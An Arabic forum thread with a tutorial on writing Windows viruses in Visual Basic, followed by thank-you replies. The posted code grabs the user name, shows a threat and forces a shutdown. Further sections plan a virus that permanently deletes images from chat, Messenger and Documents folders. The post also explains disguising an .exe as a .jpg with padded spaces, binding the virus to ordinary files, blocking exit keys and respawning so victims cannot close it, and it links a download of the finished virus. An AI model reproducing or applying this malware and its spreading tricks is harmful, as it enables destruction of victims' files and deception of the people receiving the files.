تصميم الفيروســــا ت

[ملاك الظلام]

(س)

سنتحدث عن الفيروسات التعرف عليها وحتى تصل الي كيفية تصميم الفيروسات خطوة بخطوة وسوف تتعرف على طرق عمل الفيروس وامتداده وارساله الي الاشخاص وفيروس الصور الخليعة.


نـظــرة عــــــــامــــــــة
لكي نتعرف على الفيروسات يجب ان نعرف مقومات الفايروس وشروطه
تعريف الفايروس
يمكن تعريف الفايروس بكل بساطة على انه برنامج صغير الحجم يشغل نفسه ذاتيا او اعتمادا على احد برامج ويندوز دون علم المستخدم بذلك وهناك فايروسات تشغل نفسها بناء على وقت الساعة في ويندوز او تاريخ اليوم واشهرها تشيرنوبل الذي يعمل في يوم السادس والعشرين من كل شهر
شروط الفايروسات
ان يكون ذا حجم صغير لكي لا يتم الانتباه اليه *
ان يعتمد على نفسه في التشغيل او على البرامج الاساسية او عن طريق الارتباط باحد الملفات *
ان يكون ذا هدف ومغزى *

الجزء الأول

سوف نقوم ببرمجة الفيروسات بلغة فيجول بيسك لانها تعتبر الاسهل والاسرع على الرغم من ان بعض الفيروسات الشهيرة تبرمج بلغة السي الاعتى والاقوى بين لغات البرمجة لكن اين كان ميولك البرمجي فسوف تستطيع متابعة الدرس لاننا سوف نستخدم اجراءات واجهة البرمجة والتي تستطيع التعامل معها معظم اللغات الرسومية مثل فيجول سي وفيجول بيسك ودلفي و باور بيلدر
حتى ولو لم تكن مبرمجا من قبل ( انصحك بمتابعة الشرح حيث انهامن السهولة بمكان ) فهذة الخطوات كفيلة بتعليمك اساسيات مهمة اتمنى التركيز في الشرح
في البداية قم بتشغيل برنامج ميكروسوفت فيجول بيسك واختر مشروع قياسي من القائمة التالية

الآن سوف يعرض لك البرنامج مشروع تلقائي يتكون من نافذة ( فورم 1 ) سوف نقوم بحذفها وإضافة وحدة نمطية وسوف نكتب الشيفرة داخلها وونفذ البرنامج من اجراء عام



اختر الامر Projectكما هو واضح من قائمةلايهم الترتيب احذف الفورم اولا او اضف الموديول المهم احذف الفورم واضف الموديول وسوف يكون كتابة الشيفرة داخل نافذة الموديول
لان عملنا سوف لن يعرض للمستخدم اية واجهة رسومية او نافذة
فقط هي رسالة بسيطة تحمل اوامر سهلة
س سوف نكتفي يتصميم البرنامج على ان يرسل للمستخدم رسالة وينتهي دون ان يفعل شيئا آخر



هذا جزء صغير من النافذة التي ستعرض لك حالما تطلب اضافة وحدة نمطية او ما تسمى بالانجليزي موديول اخترها ثم موافق لتنضم الي المشروع

من قائمة تولز اختر الامر AddProceduer



سوف تعرض لك نافذة اضافة اجراء كما هو موضح اكتب
اسم الاجراء لابد ان يكون كلمة main
سوف تعرض لك نافذة اضافة اجراء كما هو موضح اكتب
سوف تعرض لك نافذة اضافة اجراء كما هو موضح اكتب
اسم الاجراء لابد ان يكون كلمة main



في نافذة الموديول بعد ان توافق على الاجراء سوف يتم فتح النافذة اكتب مايلي بين السطرين MsgBox"هذا تطبيق اول جزء في الشرح "Public Sub mainEnd Sub

F5 الآن اضغط على المفتاح
عندما يعمل البرنامج سوف يقوم فقط بارسال الرسالة التالية ثم ينتهي

الجزء الثاني

في هذا الدرس سوف نطور برنامجنا السابق بحيث يعرض رسالة عندما يتم تشغيله ويعرض اسم صاحب الجهاز واعني اي شخص حيث ان برنامجنا لا يعرف طبعا كل الناس ولكنه قبل ان يعرض الرسالة يبحث عن اسم صاحب الجهاز في مجلد الويندوز وبعد الحصول عليه سوف يعرضه
طبعا اذا كنت حفظت عملك السابق فقط افتح المشروع واكمل معنا اما اذا لم تحفظه اتبع الخطوات في الجزء الأول ثم اكمل معنا
كيف نحصل على اسم الشخص
في الواقع حصول البرنامج على اسم الشخص او اي معلومة عن الجهاز ليس عملاً خارقاً او احترافيا بل من السهولة بمكان فويندوز توفر ذلك لأي برنامج يطلب منها اي معلومة عن مساحة القرص الصلب اسم صاحب الجهاز الذاكرة الشاشة كل شيء تقريبا يمكنك معرفته
خط سير البرنامج
في الجزء الأول تعمدت ان لا أطيل الشرح وادخل في التفاصيل وسهولة البرنامج السابق كافية لعدم اضاعة الوقت في الشرح هنا سوف يكون خط سيرنا كالتالي


سوف نضيف للمشروع تعريف لدوال ويندوز التي سوف تفيدنا في معرفة اسم الشخص
main بكل بساطة انسخ هذا السطر الاحمر وضعه في اعلى نافذة الموديول قبل الآجراء
Public Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long

الآن سوف نكتب الشفرة الخاصة بالبرنامج وسوف تكون نافذة الكود كالتالي


Public Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Private Sub main( )
Dim s$
Dim A As Long
Dim R As String


s$ = String$(100, 0)
A = GetUserName(s$, 100)
A = InStr(s$, Chr$(0))
R = Left$(s$, A - 1)
MsgBox "كيف حالك يا " + R + " المحترم"
End Sub


طبعا في اعلى النافذة كما هو واضح تعريف دالة ويندوز ثم يبداء الاجراء الرئيسي بتعريف متغيرات لنخزن فيها اسم صاحب الجهاز بعد ان نحصل على اسم صاحب الجهاز نعرض رسالة تتكون من الترحيب ثم اسمه الذي يوجد في المتغير
ثم كلمة المحترم بعد عرض الرسالة ينتهي البرنامج

لنفرض ان من حمل البرنامج اسمه في الجهاز مشتق الولهان هنا سوف يقوم برنامجنا بالبحث عن اسم المستخدم في الويندوز ثم يضيفه للرسالة ويعرضها
عندما نقوم بتشغيل برنامجنا الان سوف يعرض لنا الرسالة التالية ثم ينتهي


نصيحة من آسر قبل ان نتقل الي الجزء الثالث
يجب على اي شخص ان لا يكتب اسمه الحقيقي عند تحميل ويندوز لان كل برامج الهاكر توفر للشخص الذي يستخدمها امكانية الحصول على اليوزر نيم او اسم المستخدم باللغة العربية وانصح بان يضع الشخص رمز او علامة

يتبع

[ملاك الظلام]

الجزء الثالث

في هذا الجزء سوف نكمل انشاء الفايروس في الجزء الأول عرضنا للمستخدم رسالة فقط في الجزء الثاني عرضنا رسالة تتضمن اسمه الموجود في جهازهفي هذا الجزء سوف نقوم باطفاء الجهاز بعد عرض الرسالة
س / ما هي الدالة التي تقوم باطفاء الجهاز ؟
ExitWindowsEx جـ / هناك دالة في اجراءات واجهة البرمجة اسمها
ومهمتها التحكم في الجهاز مثل اعادة التغشيل و اطفاء الجهاز و تشغيل برنامج من الدوس
يتم الاعلان عن الدالة مثل ما اعلنا عن الدالة التي تعطينا اسم المستخدم وهي كالتالي
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

تخيل مدى بساطة هذة الدالة بعد ان تكتب تعريفها في اعلى نافذة الموديول اكتب الامر التالي
ExitWindowsEx 1, 0

الان نعود لنافذة البرنامج بعد ان اضفنا تعريف دالة الويندوز الخاصة باطفاء الجهاز و غيرنا نص الرسالة التي كانت في الجزء الثاني رسالة ترحيب الي رسالة ترهيب اما بقية الاوامر فهي كما في الجزء الثاني لم تتغير
Public Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Private Sub main ( )
Dim s$
Dim A As Long
Dim m1, m2, uname As String

s$ = String$(100, 0)
A = GetUserName(s$, 100)
A = InStr(s$, Chr$(0))
uname = Left$(s$, A - 1)
m1 = "هذة المرة راح اطفي لك الجهاز يا "
m2 = " المرة الجاية احرق لك المذر بورد"
MsgBox m1 + uname + m2, vbCritical
ExitWindowsEx 1, 0
End Sub
لتوضيح الامر الكود هو نفس الكود السابق في الجزء الثاني لكن وضعنا الكلمات التي تسبق اسم المستخدم في متغير سميناه ام 1 وكذلك الكلام الذي بعد اسم المستخدم في متغير اسميناه ام 2 ثم بعد ذلك استدعينا الدالة التي تطفيء الجهاز


خطوات الفايروس كاملة
قبل الاجراء عرفنا الدوال وذلك بكتابة السطرين العلويين
بدأ البرنامج من الاجراء الرئيسي
عرفنا متغيرات نضع فيها اسم المستخدم و الكلمات التي توجد في الرسالة مع اننا نستطيع ان نكتب في الرسالة مباشرة
استدعينا الدالة التي تحصل على اسم المستخدم من جهازه
عرضنا للمستخدم الرسالة فيها اسمه بالاضافة الي النص
استدعينا الدالة التي تطفيء الجهاز
قبل الختام
اصبح الفايروس جاهزا
بامكانك تحميله وتجربته لكن تذكر انه سوف يطفيء لك الجهاز لذا احفظ عملك قبل تجربته

http://www.geocities.com:80/aaaser99/prog/vis.zip

ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــ

فايروس للصور الخليعة

اعتذر لكل من ترقب صدور هذا الفايروس والحقيقة ان مسألة فايروس للصور الخليعة تعرضت لنقاش طويل مع عدد كبير من اصدقاء النت فقد عارض الكثيرين هذا الفايروس و صناعته كما ايد عدد آخر وكل كانت له وجهة نظرة التي احترمها واقدرها وبعد أشهر من المداولات قررت أن ارضي جميع الاطراف وذلك بشرح عام و ترك المجال مفتوحا لمن
أراد ان يمضي قدما
طريقة عمل البرنامج
(1)
البحث عن الملفات
للبحث عن الملفات يمكنك استخدام احدى الطرق الاتية
البحث عن طريق واجهة اجراءات البرمجة وهي الطريقة الاقوى ولكن ضريبة ذلك انها تتطلب المزيد من الكود
البحث عن طريق الفيجول بيسك وهي طريقة سهلة جدا
وللبحث عن ملفات معينة نتسخدم الأمر
dir (اسم الملف كاملا)
وبما أن البحث هو عن الصور فسيكون البحث كالتالي

بمعنى ان البحث عن كل الملفات ذات النوع جي بي جي الموجودة في المستندات طبعا لابد ان تقوم بعمل تكرار لان الكود السابق سوف يعود باول صورة ثم يقف لكن بعمل تكرار نقوم بحصر جميع الصور او اي نوع من الملفات ومن ثم نستطيع ان نفعل بها ما نشاء
واليك الان تكرار يقوم بهذا العمل



اليك شرح الكود
اولا عرفنا متغير لكي نضع فيه الملف الذي نجده ثم نقوم بالبحث بعد البحث الاول ندخل في تكرار لا نهائي وشرط الخروج من التكرار واضح وهو انتهاء الملفات من هذا النوع
بعد ان نحصل على كافة الملفات بامكاننا اما حذفها من داخل التكرار او تسجيلها في قائمة لكي نقوم بعمليات عليها

(2)

نظرة عامة على الملفات
هذة نظرة سريعة على مجلدات اي جهاز كمبيوتر والهدف منها التعرف على الملامح الاساسية التي من خلالها يمكننا وضع قوانين اساسية وخطة مدروسة
من اهم المجلدات الرئيسية لاي مستخدم انترنت مجلد ملفات انترنت المؤقتة
مجلد ملفات انترنت المؤقتة
هو مجلد توضع فيه جميع الملفات التي تم استعراضها في الايام السابقة لكي يتم التمكن من استعراضها دون اتصال و ضرب هذا المجلد ومسح محتوياته امر يعود لك
C:\WINDOWS\ملفات إنترنت المؤقتة\


مجلد المستندات
هو المجلد الغني عن التعريف وبه توجد كل ملفات الشخص ومن وجهة نظري عدم ضرب الصور في هذا المجلد لسبب بسيط لان معظم الصور التي ينتجها اي شخص بمجهوده وتصميمه سوف يضعها هنا
C:\My ##**محجـوووب**####**محجـوووب**####**محجـوووب**####**محجـوووب**####**محجـوووب**####**محجـوووب**####**محجـوووب**####**محجـوووب**##s\


مجلد الداون لود للتشات
هو المجلد الاكثر امكانية لوجود الصور الخليعة به وضربه هو اكثر الاحتمالات دقة
C:\Program Files\Chat\Download\


مجلد الماسنجر داون لود
هذا المجلد شبيه بمجلد التشات وفيه يتم استقبال الملفات التي تم وصولها عن طريق الماسنجر
C:\My ##**محجـوووب**####**محجـوووب**####**محجـوووب**####**محجـوووب**####**محجـوووب**####**محجـوووب**####**محجـوووب**####**محجـوووب**##s\Messenger Service Received Files\
و كقاعدة عامة معظم البرامج التي تعتمد تناقل الملفات عبر الانترنت تضع لها مجلد داون لود وكذلك برامج المحادثة و البوتات وبرامج استقبال الملفات والايسكيو وغيرها وبامكانك وضع محرك بحث خاص بك
خط سير البرنامج
لذا يبدأ عمله من مجلد المستندات ثم بعد انهاء حذف كل الصور سوف يتابع زحفه نحو مجلد التنزيل الداون لود في برنامج التشات ثم يتجه نحو محرك الاقراص المرنة واذا وجده سوف يحطم كل الصور



(3) اعداد البرنامج
بعد ان بحثنا عن جميع الصور في المجلدات السابقة بقي علينا اتمام عملية الفايروس
وهو ماذا سيفعل الفايروس من اعمال و للذين تصفحوا موضوع حوار برمجي فقد تكلمت هناك عن اعمال الفيروسات وهنا سوف اوضح بعض النقاط الخاصة بهذا الفايروس
قلنا ان الفايروس نوعان على حسب الظهور ظاهر ومخفي وانا ارى من وجهة نظري الخاصة ( بامكانك تركها لي ) ان يكون الفيروس مخفي ويقوم بتنظيف الجهاز مجانا بشكل يومي او اسبوعي
النقطة الثانية هي ماذا يفعل الفايروس بالصور وهناك عدة اقتراحات طبعا الاقتراح الاول هو تدميرها والاقتراح الثاني وهو ما اسميه بالفضيحة وضع احدى الصور كخلفية للشاشة عشوائيا قد يكون جنون لكن الفنون جنون
النقطة الثالثة توزيع الفايروس بالطبع يجب عليك ربط الفايروس بملف عادي و هناك العديد من البرامج الرابطة وقد زرت قبل فترة طويلة موقع اجنبي ووجدت العديد منها لكن للأسف نسيت هذا الموقع وبامكانك البحث عربيا وسوف تجدها في مواقع الهاكر و التدريب عليه
وللمبرمجين الخبراء يمكنهم الربط بأنفسهم حيث يتم دمج ملفين في ملف واحد لكن ذلك يحتاج لعمل طويل نسبيا
التدمير
يتم التدمير بنوعين مثل البحث ولك الخيار في ذلك
اجراءات واجهة البرمجة
نستخدم اجراءات واجهة البرمجة لنقل او نسخ او حذف الملفات بسهولة متناهية فقط علينا تعريف الاجراء بنسخ السطر الخاص به في نافذة الموديول و نستخدمه مباشرة
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
ونقوم بعد نسخ السطر العلوي بتنفيد الاجراء مع ملاحظة ان الحذف نهائي بمعنى ان الكمبيوتر لن يرسل الملف المحذوف الي سلة المحذوفات بل يحذفه نهائيا
Dim retval As Long retval = DeleteFile(File_Name)
لاحظ ان فايل نيم هو اسم الملف الذي سيتم حذفه وتستطيع ان تضع هذا الامر وسط التكرار السابق وسوف يحذف كل صورة يجدها في المجلد
الفيجول بيسك
بسهولة شديدة يتم حذف ملف بواسطة الامر
ونفس الكلام ينطبق على الحذف بالفيجول بيسك
ولكتابة الكود الكامل اولا قم باتباع خطوات تصميم فايروس وضع مكان فايروس اطفاء الجهاز الاوامر التي تكلمنا
عنها خلال الاجزاء السابقة

هذة فكرة عامة حول فايروس الصور الخليعة واترك المجال مفتوحا لكل من يرى ضرورة تصنيعه و توزيعه

ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ـــــــــــــــــــــــــ ــــــــــــــــــــ


حوار برمجي

لعل الحوار عن الفيروسات اساسه انني اريد ان اوضح عمل الفيروسات العربية للأخوة زوار الموقع وبما أن الموضوع شيق وممتع فقد بدأنا في انشاء الفيروس خطوة بخطوة وسوف نقوم الآن بتوضيح المفاهيم التي يجب ان نأخذ بها عند تصميمنا لفيروس معين
عندما نصمم فايروس فنحن نصمم برنامج لذا يجب معرفة ما ذا يجب ان يفعل قبل البدء في انشاءه حتى يتم بسهولة
كثيرة هي الفيروسات واهدافها لا تقل كثرة عن عددها لكن تتشابه الفيروسات في نقطة الا وهي ان الفايروس اما يحذف او يضيف
الحذف
وهي ان يقوم الفايروس بحذف ملفا او اكثر من الجهاز مثل حذف كل انواع الصور او المكتبات واحيانا يكون حذف بعض مكتبات ويندوز التي تحتاجها في عملها مما يجعل الجهاز يتوقف بعد شتغيل الفايروس
فقط اطلب من الفايروس ان يحذف مكتبة مثل كيرنل او يوزر32 و تغيب ويندوز في غيبوبة
الاضافة
مثل الحذف لكن تخريب الجهاز يتم عن طريق اضافة ملفات تعيق عمل ويندوز ويدخل ضمن هذا النوع ملفات الهاكر التي تعمل في الذاكرة لتكون تحت تصرف البرنامج الرئيسي الموجود على جهاز آخر
الظهور
كما يمكن تقسيم الفيروسات على اساس ظهورها من عدمه حيث ان بعض الفيروسات تكون ظاهرة للشخص وهي عادة برامج تعيق عمل المستخدم للجهاز والكثير منها مخفية وتعمل في ذاكرة الجهاز
عندما نريد ان نصم فيروس يجب ملاحظة الآتي
نحن هنا لا نفكر في ايذاء الأشخاص اطلاقا تمنى ان يكون هذا شعور كل من يستفيد من الموقع
لذا يجب ان يكون فيروسنا ظاهر ويبدي وجهه نظرة الشخصية من غير ضعف
ايضا من الممكن ان نتحكم في حالة المفاتيح لكي نستبعد ان يخرج المستخدم من البرنامج بطرق ويندوز المعروفة
كما ان هناك ملاحظة الا وهي اذا كان برنامج يفرض نفسه يجب ان تجعله ينجب ابناء له من نفس الانسخة قبل ان يموت ومن خلف مامات على قولة المثل واقصد ان برنامج قبل ان ينتهي لاي سبب من الاسباب يجب ان يشغل نسخة او اكثر منه حتى تضمن ان المستخدم لن يفكر في اقفالة مطلقا
لارسال البرنامج عن طريق المايكروسوفت تشات بكل بساطة اعطه اسما كلاسيكا يجعل اصحاب
exe
العقول الغبية يسيل لعابهم ولكن كيف سيقبلونه وامتداده هو الامتداد

في الواقع تتم عملية ارسالة بطريقتين اولاهما تغيير اسمه بحيث يكون اسمه مكون من
jpg
كلمة عربية واخرى انجليزية واقصد اننا نضيف في اسمه كلمة مثل

وبعد ان نكتب الكلمتين نضع مسافات كثيرة والمثال التالي يوضح ذلك
صورعربية.jpg .exe
jpg لاحظ ان كل المربع الاصفر هو اسم الفايروس بمافيه الكلمة
اما نوعه فقد صار بعيدا لدرجة لن يستطيع قرائته في مربع قبول الملفات في التشات
الطريقة الثانية وهي الافضل ان تقوم بعمل ارتباط بين الفايروس واي ملف آخر وهي الطريقة المتبعة في اغلب الفيروسات العالمية وكثيرة هي البرامج التي تقوم بعملية الربط بحيث يكون الفايروس مرتبط بالملف العادي وحال تشغيل الملف العادي يتحرر الفايروس ويخرج
!!!!!!!! ليقوم بعمله بهمة ونشاط
منقول للافادة

(و)

[Kiss of Death]

مشكووووووور والف الف الف شكر يا مبدع على الشرح الابداع والله يجعله في ميزان حسناتك

[ملاك الظلام]

مشكور يا غالى على ردك المشجع

[مشاري الفارس]

مشكور أخوي على الموضوع الشيق

[مشاري الفارس]

شكككككككككرا

[Nedved]

شكرا يا مبدع ...طول عمرك مبدع درس وافــي و جميـــل ... وجزاك اللــه خيــرا

[ملاك الظلام]

مشكور جميعا على المرور والرد

[الـمـدمــر]

جزيت خيرا وزوجت بكرا

بارك الله فيك موضوع ولا اروع ويستاهل العوده الف مره